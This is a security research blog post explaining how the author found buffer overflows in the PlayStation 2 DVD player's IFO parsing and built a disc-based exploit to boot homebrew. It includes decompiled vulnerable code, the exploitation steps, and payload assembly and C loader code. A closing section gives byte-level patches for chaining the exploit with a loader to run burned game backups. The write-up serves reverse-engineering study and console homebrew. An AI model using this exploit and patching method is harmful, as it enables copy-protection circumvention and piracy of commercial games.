FreeDVDBoot - Hacking the PlayStation 2 through its DVD player

Initial publication: June 27, 2020

I've previously discussed how the PlayStation 2 doesn't have any good entry-point software exploits for launching homebrew. You need to either purchase a memory card with an exploit pre-installed (or a memory card to USB adapter), a HDD expansion bay (not available to slim consoles), open up the console to block the disc tray sensors, or install a modchip. For the best selling console of all time, it deserves better hacks.

My initial attempt to solve this problem was to exploit the BASIC interpreter that came bundeld with early PAL region PS2s. Although I was successful at producing the first software based entry-point exploit that can be triggered using only hardware that came with the console, the attack was largely criticized due to the requirement of having to enter the payload manually through the controller or keyboard, and limitation of being PAL only. I decided to write-off that exploit as being impractical, and so the hunt continued for a better attack scenario for the PlayStation 2.

The PlayStation 2 has other sources of untrusted input that we could attack; games which support online multiplayer or USB storage could almost definitely be exploited. But unlike say the Nintendo 64, where we don't really have any other choice but to resort to exploiting games over interfaces like modems, the PlayStation 2 has one key difference: its primary input is optical media (CD / DVD discs), a format which anyone can easily burn with readily available consumer hardware. This leaves an interesting question which I've wanted to solve since I was a child:

Is it possible to just burn our own homebrew games and launch them on an unmodified console the same way we would launch official discs (without going through any user interaction like disc swapping or triggering a network exploit in a game)?

Ultimately, I was successfully able to achieve my goal by exploiting the console's DVD player functionality. This blog post will describe the technical details and process of reversing and exploiting the DVD player. Loading backups of commercial games is also possible. All of my code is available on GitHub.


DVD video player attack surface

Obviously we can't just burn a disc containing an ELF file and expect the PS2 to boot it; we'll need to exploit some kind of software vulnerability related to parsing of controlled data. The console supports playing burned DVD video discs, which exposes significant attack surface we could potentially exploit to achieve our goal.

If we think about what a DVD Video consists of there are quite a few main components, each with the potential for vulnerabilities:

Whilst the complete DVD Video specification is unfortunately behind a paywall, it is comprised largely of open formats like MPEG, just bundled together in a proprietary container format (VOB). For the proprietary aspects there are some freely accessible unofficial references.

The IFO file format is probably the simplest format used, and is responsible for storing the metadata that links the video files together.

The interaction machine is what allows for interactive menus and games in DVD Videos. It has 32 groups of instructions, and is interesting because it could potentially be used to dynamically manipulate internal memory state to prime an exploit, or it could be used to create a universal DVD with a menu which allows you to select your firmware version and trigger the appropriate exploit.


Setup

Clearly it's not practical to do most of our testing on the real hardware since burning hundreds of test discs would be wasteful and time inefficient. We need an emulator with some debugger support, which is where we hit our first roadblock: the most popular emulator for PlayStation 2, PCSX2, does not support playing DVD Videos, and no one is interested in adding support.

I'd like to thank krHacken for helping me out with that first roadblock. It turns out that PCSX2 does support the DVD player; it just can't load it automatically since it's located in encrypted storage and PCSX2 does not support the decryption. There are public tools which can decrypt and extract the DVD player from EROM storage. It can then be repacked into an ELF for easy loading into PCSX2.

Due to the large number of different PlayStation 2 models released, each with slightly different DVD player firmwares (> 50...), I will focus on a single DVD player for the duration of this article: 3.10E (configured with English language in PS2 settings), as it happens to be the firmware for the console I own.

I will continue to use Ghidra for decompilation as I've been using throughout my previous articles. The DVD player does not contain any symbols so all names in code snippets were assigned by me through reverse engineering.


Disc controlled data

The first file a DVD player will attempt to read is VIDEO_TS.IFO. Searching memory for contents of the file and then setting memory write breakpoints there to track back where it was written we quickly locate the API that reads disc contents used by the IFO parsing code, getDiscByte at 0x25c920. It's a stream reader which caches a number of sectors into a RAM buffer, and then automatically seeks more data once needed:

byte getDiscByte(void) {
	byte ret;
	
	if (currentDiscBytePointer < endDiscBytePointer) {
		ret = *currentDiscBytePointer;
	}
	else {
		currentDiscBytePointer = &buffer;
		setOffset = setOffset + numberOfSectorsRead;
		getDiscByteInternal();
		ret = *currentDiscBytePointer;
	}
	currentDiscBytePointer = currentDiscBytePointer + 1;
	return ret;
}

From searching calls to this, we can also quickly find wrappers that fetch data of larger sizes: getDiscU16 (0x25c980), getDiscU32 (0x25c9b8), and getDiscData (0x25c9f0), which is the most interesting as it reads an arbitrary length of data:

void getDiscData(uint size, byte *destination) {
	byte b;
	uint i;
	
	i = 0;
	if (size != 0) {
		do {
			i = i + 1;
			b = getDiscByte();
			*destination = b;
			destination = destination + 1;
		} while (i < size);
	}
	return;
}


Large reads

The first thing I did was search for calls to getDiscData in the hope of finding one with controllable size, and no bounds checking.

Sure enough, we very quickly identify about 4 blatant buffer overflow vulnerabilities of this nature. Relating back to the IFO file format, we can see that there are numerous 16-bit array lengths which are needed to parse the variably sized data structures in the file. The DVD player mistakenly only ever expects the maximum lengths allowed by the DVD specification, and so it is missing checks to reject discs with larger lengths. Since all of the copies are done on statically allocated memory buffers, specifying larger than allowed lengths will cause buffer overflows. For example, below is decompilation for the one at 0x25b3bc:

		large1 = getDiscU16();
		large2 = getDiscU16();
		large3 = getDiscU16();
		ignored = getDiscU16();
		getDiscData(((uint)large1 + (uint)large2 + (uint)large3) * 8, &DAT_0140bdd4);

This one is the most interesting because it allows the largest possible copy size (0xffff * 3 * 8 = 0x17FFE8 bytes) of all the getDiscData buffer overflows. It copies into the statically allocated buffer at 0x0140bdd4, and so by specifying the maximum possible copy size we gain control over the address space from 0x140bdd4 to 0x158BDBC (0x140bdd4 + 0x17FFE8).


Corruption from the large reads

As you can see, we can control quite a large region of memory using the above vulnerability. However, scanning through that memory is initially very disappointing; there are very few pointers, and none of them look particularly interesting to corrupt!

Although there are no interesting pointers in this region, there are some indexes, which if corrupted could lead to further out of bounds memory corruption.

Note that large reads like this won't always copy contiguous data from the IFO file, as sectors will start repeating once we exceed the file size, but generally assume that all data written by a getDiscData call can be controlled as it originates from somewhere on the disc. Also, after writing a certain amount, we may overflow into internal state used by getDiscByte functions, but we will get to this later.


OOB call

At 0x25e388 we have this call to an entry in a function pointer array, where we can control the 16-bit fpIndex at 0x141284a from the overflow:

(*(code *)(&PTR_LAB_005b9d40)[(uint)fpIndex])(puVar6 + ((uint)DAT_01412841 - 1) * 8);

This allows us to jump to the address stored anywhere from 0x5b9d40 up to 0x5b9d40 + 0xffff * 4 = 0x5F9D3C.


Exploiting OOB call

This primitive is not quite ideal, as none of our overflow bugs allow us to control the memory where the jump targets are read from. Worse still, most of this memory region is mapped from a read-only section of the DVD Player, so it's unlikely that we can influence the contents of this memory region without another bug.

After the function pointers, we do some see some addresses for switch case labels, which is slightly interesting because that allows us to jump into the middle of a function and execute its epilogue without having executed its prologue, allowing us to misalign the stack pointer and return to an unexpected value on the stack. I went through all of these and unfortunately I was only ever able to use that to jump to 0.

Finally after the code pointers, we see read only string data. Interestingly, this data can be changed by switching languages in the PS2 menu, which gives greater hope for finding at least 1 usable jump target in every firmware version, however it unfortunately comes at the cost of forcing the user to reconfigure their language.

I decided to dump the entire region of possible jump targets, group them into 4-bytes and see if any of them would point to memory that we control via the overflow vulnerability... Amazingly, there is a result: index 0xe07e (address 0x5f1f38) points to 0x1500014, which is within our controlled range! This isn't perfect, since it's the cached virtual address, and so we might run into cache coherency problems, but it could work.


OOB write

It's amazingly lucky that there happens to be a valid jump target we can use which already points to memory we can control. Since other DVD Player versions with different address spaces probably won't have this same luxury, I'll briefly talk about one other corruption primitive, in case it turns out to be useful for anyone trying to exploit their own console's version.

There's a possible OOB write at 0x25c718 (inside getDiscByteInternal):

	if (*(int *)(&DAT_01411e54 + indexForOOBW * 4) == 0) {
		error = getBuffer(filename,0,&buffer,1,0);
		if (error < 0) goto LAB_0025c79c;
		lVar3 = FUN_002161f8(0x140de40,pcVar4,0xc);
		if (lVar3 == 0) {
			uVar2 = getControlledValue();
-->			*(undefined4 *)(&DAT_01411e54 + indexForOOBW * 4) = uVar2;
			if (*(int *)(&DAT_01411e54 + indexForOOBW * 4) != 0) goto LAB_0025c7ac;
		}
		error = -3;
	}

Since indexForOOBW is a 32-bit value, corrupting it via the large overflow could potentially allow writing to an arbitrary address in this path.

There's the constraint that the value must be 0 before you write it (per the first line in that snippet), but that shouldn't make exploitation significantly more difficult. You could easily overwrite a NOP in a delay-slot somewhere into a jump to a register which happens to be controlled at time of execution. Alternatively, a better approach would be chaining this OOB write with the OOB call mentioned above; you overwrite one of the addresses we can use as a jump target which happens to be 0 into an arbitrary new jump target.

When I briefly experimented with this primitive, it failed at the call to getBuffer because earlier on in the function it generated the filename via sprintf(filename, "VTS_%02d_0.IFO", indexForOOBW), and the file "VTS_1364283729_0.IFO" didn't exist. We can't create this file normally because the code has a maximum filename length which we run into when we try large indexes like this (I think it's either 15 or 16 bytes). You could work around the length limitation, and still use this bug to corrupt quite a large region of memory, or it might be possible to corrupt enough internal data-structures through another overflow to trick the call into thinking these large index files exist. Since I didn't need it for my console, I didn't analyse this possibility fully, and proceeded with just exploiting the OOB call.


Triggering the exploit

At this point, we have a pretty clear path for exploitation of the large read overflow: we overwrite the fpIndex to 0xe07e, and overflow our payload into 0x1500014. When the code then indexes into the function pointer array using the corrupted fpIndex, it will trigger a jump to our payload.


Corrupting getDiscByte state

The first problem we run into is that the first thing we intend to corrupt, fpIndex (0x141284a), is located after currentDiscBytePointer (0x1411fe4) and endDiscBytePointer (0x1411fe8) in memory, and so those values which affect the output of getDiscByte will have already been corrupted by the time we are trying to corrupt fpIndex, and may have been redirected to no longer point to memory set to the contents of our IFO file.

The solution is to break at writing currentDiscBytePointer to find out its value at the time we are about to corrupt it, and make sure we just overwrite the same value it already had. We can also change endDiscBytePointer to 0xffffffff to prevent calling getDiscByteInternal which would lead to more confusion if it was called whilst we are in half corrupted state.


Corrupting fpIndex

With the overflow now reaching fpIndex and still copying controlled contents from the IFO file, we can break and look at the currentDiscBytePointer at the time of corrupting it to locate where from the IFO we are copying from. Once we've found that, we can modify those bytes in the file to 7e e0 (little endian representation of 0xe07e) to point to our jump target.

Similarly, we can break at writing 0x1500014 to work out where in the file our payload will be copied from and set it to some placeholder value.

Now running the exploit and breaking at the OOB call (0x25e388), we're faced with a new problem: the index has been rewritten between our corruption and its usage for the call. If we can't avoid this write, it could be a dead end for this exploitation method.

Breaking on writing fpIndex after our large read, we see that it's written inside this function at 0x25E970:

int setFpIndex(void) {
	if (DAT_01412856 != 0) {
		if (DAT_0141284e == '\0') {
			if (DAT_01412854 == 0) {
				fpIndex = 3;
			}
			else {
				fpIndex = 4;
			}
		}
		else {
			if (DAT_01412854 == 0) {
				fpIndex = 5;
			}
			else {
				fpIndex = 6;
			}
		}
		return 0;
	}
	return -1;
}

Notice how not all paths write fpIndex? If the 16-bit value at 0x1412856 (which we can also corrupt with the overflow) is set to 0, it will leave fpIndex alone and return -1 to indicate failure.

The call chain that leads to setFpIndex is immediately before the OOB call itself (0x25e378), and there's also no checking of the return value of setFpIndex! This means we can bypass the initialisation of fpIndex and still reach the OOB call whilst it still contains our corrupted value:

			callSetFpIndex(puVar6 + ((uint)DAT_01412841 - 1) * 8);
			(*(code *)(&PTR_LAB_005b9d40)[(uint)fpIndex])(puVar6 + ((uint)DAT_01412841 - 1) * 8);

Cache coherency

At this point we are jumping to memory of controlled contents, which should mean arbitrary code execution! However, we write our payload to the cached virtual address mapping, and also execute it from there, which creates two potential sources of failure on the hardware we will need to consider:

The first is solvable: we can extend our large copy to the maximum possible size (0xffff * 3 * 8), and maybe even make use of the other large copies to write as much data as possible, to ensure that our payload gets evicted from the data cache in place of something else. I stuck with this maxium possible size in my exploit, but you could potentially fine-tune this number to optimise boot time by a fraction of a second if you were so inclined.

The second is not really solvable. Since we don't control the target jump address, we cannot instead jump to the uncached virtual address to bypass instruction cache, and to my knowledge there's no way of manipulating the program into dynamically loading new code causing an instruction cache flush after our payload has been written. However, it actually turns out to not even be an issue because the instruction cache is flushed during startup, and our payload doesn't overwrite any existing code, so there won't be any stale instruction cache covering the payload's address (PS2 CPU doesn't have speculative execution or anything else which would cause instruction cache entries to be created at non-architecturally executed paths).

Given that cache coherency doesn't seem to be an issue, I tried a simple payload, which just boots back the browser menu to verify that the payload would execute on the hardware, and burned a test disc:

void _start(void) {
	//Exit(0);
	asm volatile("la $v1, 0x04; la $a0, 0; syscall 0x04");
}

It worked!


Initial payload

The payload should read an ELF from the disc and then execute it. It seems simple, but there are a few different considerations:

I started with a basic crt0.s which would use the ExecPS2 system call to start main, reinitialising the kernel's internal state, and thus destroying other threads to prevent them from corrupting any memory used by our payload:

.section .text.startup

.global _start
_start:
	#la $a0, 0x7f
	#la $v1, 0x01
	#syscall 0x01 # ResetEE

	la $a0, main
	la $a1, 0
	la $a2, 0
	la $a3, 0

.global ExecPS2
ExecPS2:
	la $v1, 7
	syscall 7 # ExecPS2

My first attempt to load an ELF from the disc was use the same high level function calls which were used to read data from the IFO file (pointToIFO (0x25c880) followed by getDiscData with the desired size). When I attempted this, it was only able to fetch a single sector (0x800 bytes) of data, likely due to the previous corruption from the buffer overflow.

Instead of attempting to fix that, I decided to use the lowest level function, getBufferInternal (0x2986a0), which just calls SifCallRpc (0x2096e8) to request the IOP co-processor to fetch the data and then waits for completion. This worked perfectly.

The next consideration is where to load the ELF file to. Running readelf -l will tell us that the target is not a position-independent binary and needs to be loaded at a specific location:

readelf -l BOOT.ELF

Elf file type is EXEC (Executable file)
Entry point 0x1d00008
There is 1 program header, starting at offset 52

Program Headers:
	Type					 Offset	 VirtAddr	 PhysAddr	 FileSiz MemSiz	Flg Align
	LOAD					 0x000060 0x01ca1450 0x01ca1450 0x5ed6d 0x5ee30 RWE 0x10

I came up with the following which successfully booted my target ELF in PCSX2:

#define SifIopReset ((void (*)(char *, int))0x84fe0)
#define SifIopSync ((int (*)(void))0x85110)
#define SifInitRpc ((void (*)(int))0x84180)
#define SifExitRpc ((void (*)(void))0x84310)

#define PAYLOAD_SIZE 0x5ed6d
#define MEM_SIZE 0x5ee30
#define DESTINATION 0x01ca1450
#define ENTRY 0x1d00008

__attribute__((noreturn)) int main(void) {
	// Target relative to VIDEO_TS.IFO (starting DVDVIDEO-VMG...)
	int lbaOffset = 8338 - 285;

	char ignored[] = "";
	getBufferInternal(ignored, 0, lbaOffset, (void *)DESTINATION - 0x60, (PAYLOAD_SIZE + 0x60 + 0x7ff) / 0x800, 0);

	// Init BSS section
	for(i = 0; i < MEM_SIZE - PAYLOAD_SIZE; i++) {
		((char *)DESTINATION + PAYLOAD_SIZE)[i] = 0;
	}

	SifIopReset(0, 0);
	while(!SifIopSync());

	SifInitRpc(0);
	SifExitRpc();

	asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); // FlushCache data writeback
	asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); // FlushCache instruction invalidate

	//void ExecPS2(void* entry, void* gp, int argc, char** argv);
	//ExecPS2((void *)ENTRY, 0, 0, 0);
	asm volatile("la $a0, 0x1d00008; la $a1, 0; la $a2, 0; la $a3, 0; la $v1, 7; syscall 7");
}


Payload improvements

There are a number of things not ideal with the initial payload. It's not very portable because we rely on hardcoding both the offset from the IFO file to the payload file, and the base address of the target ELF. We also rely on the target ELF loading address not overlapping with any of the functions we still call during loading and booting.


Loading stage 2

In order to make the above improvements, we'll need more space. The initial payload (now referred to as stage 1) is located at offset 0x2bb4 within the IFO file, and the fpIndex corruption value at 0x2faa, so we only have 0x2faa - 0x2bb4 = 1014 bytes of contiguous space to use. We could consider scattering bits of the payload at earlier or later locations in the file and just jumping to them, but it's quite dangerous to do this as it's hard to reason whether our payload will remain intact between writing it with the overflow and by the time we execute it: parts of the payload could have been rewritten the same way that our corrupted fpIndex was originally rewritten.

Instead, we'll just make stage 1 as small as possible, and load a stage 2 where we can implement a nice ELF loader without any space constraints.

After stage 1 has called ExecPS2 to kill other threads as before, we will load stage 2 from the end of the IFO file at offset 0x3000 to the end of EE RAM, flush the cache, and then execute it. We'll also set the stack to scatchpad RAM to prevent it from overlapping with any ELF section either:

load:
	la $a0, 0
	la $a1, 0 # 0 = VIDEO_TS.IFO, 1 = VTS_01_0.IFO
	la $a2, 0x3000 / 0x800 # lba offset in file
	la $a3, payload # Destination
	la $t0, 0x800 / 0x800 # Count
	la $t1, 0
	la $v0, getBufferInternal
	jalr $v0
	nop

boot:
	la $v1, 0x64; la $a0, 0; syscall 0x64 # FlushCache data writeback
	la $v1, 0x64; la $a0, 2; syscall 0x64 # FlushCache instruction invalidate

	# Point stack to end of scratchpad RAM
	la $sp, 0x70004000

	# Execute from relocated place
	la $v0, ENTRY
	j $v0
	nop

Stage 2 can now be arbitrarily sized C code as there's no fixed space constraint.


Finding the payload file

To prevent needing to hardcode the offset of the target ELF, I decided to store it in VTS_02_0.IFO and use the existing functions I had already reversed to update the internal data structures to point to the the new file's LBA:

	// Point to VTS_02_0.IFO
	pointToIFO(2, 0, 0);
	
	// Force a read from VTS_02_0.IFO
	char head[64];
	getDiscData(64, &head);

	// Now reads from VTS_02_0.IFO
	getBufferInternal("", 1, sectorOffset, buffer, sectorCount, 0);


ELF loading

I removed the limitation of needing to hardcode the ELF loading address by reading it dynamically through the ELF header, based on code from uLaunchELF, but adapted to read from the disc:

	elf_header_t eh;
	readData(&eh, 0, sizeof(elf_header_t));

	elf_pheader_t eph[eh.phnum];
	readData(&eph, eh.phoff, sizeof(elf_pheader_t) * eh.phnum);
	
	for (i = 0; i < eh.phnum; i++) {
		if (eph[i].type != ELF_PT_LOAD)
			continue;

		readData(eph[i].vaddr, eph[i].offset, eph[i].filesz);
		if(eph[i].memsz > eph[i].filesz) memset(eph[i].vaddr + eph[i].filesz, 0, eph[i].memsz - eph[i].filesz);
	}

That's it! We can reliably execute an ELF file from VTS_02_0.IFO on the disc, without any constraints on its base address or having to hardcode specific details about it in advance. Full code is available on GitHub.


Further developments

Whilst the exploit itself is now complete, there's not a huge amount we can currently do beyond loading small standalone homebrew games like Tetris.


Multi-file homebrew

Ideally, it would nice for the exploit to boot into a menu which would allow you to select a different homebrew program out of multiple stored on the same disc, and which could then in turn load further data from the disc (such as an emulator loading ROMs). Unfortunately, the PS2SDK filesystem code, and by extension all PS2 homebrew, doesn't support DVD videos. Since DVD videos are the only type of disc that unmodified consoles will accept which we can burn, I assume that everyone was previously satisfied with just loading data over USB.

I decided to show the exploit to some PS2 enthusiasts in the hope that it might inspire someone to take a look, and uyjulian was kind enough to spend some time adding support and submit a pull request. If you recompile the PS2SDK with this fix, and then recompile your homebrew application, it will have support for loading DVD video disc files from cdfs device.

This isn't a perfect solution since we don't have source code for all PS2 homebrew produced over the last 20 years, but it is also possible to binary patch homebrew to manually replace the cdvd.irx IOP module with a new one to add DVD video support. For instance, 'Howling Wolf & Chelsea' patched the closed source SNES Station emulator, allowing me to make the following demo (special thanks!):



Loading backups with ESR

There already exists a tool (ESR patcher) which patches games to appear like DVD videos so that they'll be accepted by the 'mechacon' (security processor), and an associated loader program (ESR) that boots these patched "video discs". Chaining together this new exploit with that ESR loader would allow you to patch your backups so that they could just be burned and run on your console from boot as though they were official discs.

I don't really want to be responsible for maintaining a tool that does this, so I'm not including any of the code to do this in the repo, but the gist of it can be explained pretty quickly, so I'll just provide some notes explaining how I did it:

ESR patcher will add two files, VIDEO_TS.IFO and VIDEO_TS.BUP, to the disc's UDF filesystem. Our exploit requires two files named VIDEO_TS.IFO and VTS_01_0.IFO, so just replace the VIDEO_TS.BUP string it writes with VTS_01_0.IFO to create the filesystem structure we need.

Attributes we care about for those files are size (4-bytes) and LBA position (2-bytes). In the UDF specification these fields are adjacent, with LBA being stored as an offset from the directory descriptor containing these fields (VIDEO_TS at LBA 134 in our case). The tool creates these files with size 2032 bytes, and LBAs 138 and 139, so the byte patterns we are interested in are:

VIDEO_TS.IFO: f0 07 00 00 0a 00
VIDEO_TS.BUP: f0 07 00 00 0b 00

Contents of the ISO 9660 filesystem used by games generally seem to start at around 260, which I believe is a requirement by Sony. This is great for us since it means that we have roughly 250KB ((262-137) * 0x800) of space to place the exploit files and loader, and we only need a fraction of that. Given this amount of space, it would even be possible to include some kind of Action Replay cheat menu or something on the disc, which could be a fun future project.

Keeping VIDEO_TS.IFO at LBA 138, we just need to extend its size to 14336, and copy the file contents to 138 * 0x800 = 0x45000 in the ISO. Our next free space is 7 sectors later at LBA 145, and will store the contents of our 12288 byte VTS_01_0.IFO file. Finally, the ESR loader program can be copied to the next available sector at 151; we won't bother creating an entry in the UDF filesystem for it since we've already had to manually modify the ISO anyway.

In summary, the patches we need to make to the UDF data to add our exploit to a patched game are:

VIDEO_TS.BUP -> VTS_01_0.IFO (to rename the file)
f0 07 00 00 0a 00 -> 00 38 00 00 0a 00 (VIDEO_TS.IFO filesize to 14336)
0x45000: paste VIDEO_TS.IFO exploit contents (compiled with LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO so as to boot the ELF from disc at 0x4B800)
f0 07 00 00 0b 00 -> 00 30 00 00 11 00 (VIDEO_TS.BUP/VTS_01_0.IFO LBA to 145 and filesize to 12288)
0x48800: paste VTS_01_0.IFO contents
0x4B800: paste loader ELF

I only did this once, manually, but it should be pretty straight forward to modify the tool to change these patches. The result is a pretty cool demo showing total defeat of the PlayStation 2 copy-protection security model:

ffgriever is working on a new version of ESR to remove the annoying splash screen and flickering colours



Optimisation

As previously mentioned, the exploit could probably be optimised to boot a fraction of a second faster by reducing the size of the overflow. Also worth noting is that part of the reason the screen flickers whilst triggering the exploit is because I happened to encode my base DVD video as NTSC, and so some of that flickering is an artifact of switching from PAL to NTSC back to PAL. There is almost no video corruption when booted on an NTSC region console. If this bothers you, you could re-make the exploit based on a PAL base DVD instead.


Porting to other firmware versions

Initially I had only planned to release the exploit for my firmware version, as a proof-of-concept, since I cannot really justify investing the time to exploit and support other people's firmware versions. However, I have since done several other ports, and have documented all of the addresses / offsets / techniques here.


Hybrid discs

The first firmware I ported the 3.10 exploit to was 3.11. Collectively, all PS2 slim consoles have either 3.10 or 3.11, which makes these firmware versions an attractive target to merge together into a single exploit since it would allow all PS2 slim owners to just burn a single disc, without even having to check their firmware version first!

These two exploits merged into a single easily, since the offsets in the IFO file to corrupt things like currentDiscBytePointer and fpIndex don't overlap at all, so we can specify different corruption values for each firmware. However, there are still potentially some options if some things in the IFO do overlap between two different versions (mentioned in more detail in porting notes):

If fpIndex did overlap in the IFO file, but currentDiscBytePointer didn't, we could offset the currentDiscBytePointer corruption value for one of the firmwares so that fpIndex is copied from different regions.

If currentDiscBytePointer does overlap, as long as there's an address which happens to have controlled contents in both versions, we can specify a common address.

As a final resort, if it turns out not to be possible to merge support for two firmware versions into a single IFO exploit, we could trade the automatic booting with a DVD menu that let's you select a different chapter manually to match your DVD player version, in order to produce a single disc with compatibility against all firmware versions. I'm optimistic that eventually such a disc will be available.


Conclusion

I was successfully able to exploit the PlayStation 2 DVD Player to allow me to run my own burned homebrew discs simply by inserting them and booting, just as you would launch an official disc.

Although I only exploited version 3.10, as its the version on the console I happen to own, I was later able to extend support to all slim consoles too. If these same vulnerabilities and techniques prove to be difficult to exploit on earlier firmware versions used by phat consoles, I'm also confident that there probably exist more generically exploitable bugs like stack buffer overflows if you reverse deeper, after all, I only got as far as reverse engineering the initial IFO parsing before I identified sufficient vulnerabilities for my exploit. I hope this article and these demos inspire others to have a crack at hacking their own console's firmware versions and share their methods in a centralised repo for the community to share.

As a final thought, there's really no reason this general attack scenario is specific to the PlayStation 2 as all generations support some combination of burned media: from the PlayStation 1's CD support, to the PlayStation 3 and 4's Blu-ray support, with the PlayStation 4 having only removed CD support. Hacking the PS4 through Blu-ray BD-J functionality has long been discussed as an idea for an entry point. This may be something I would be interested in looking into for a long-term future project: imagine being able to burn your own PlayStation games for all generations; 1 down, 3 to go...


With thanks to krHacken, uyjulian, 'Howling Wolf & Chelsea', and ffgriver.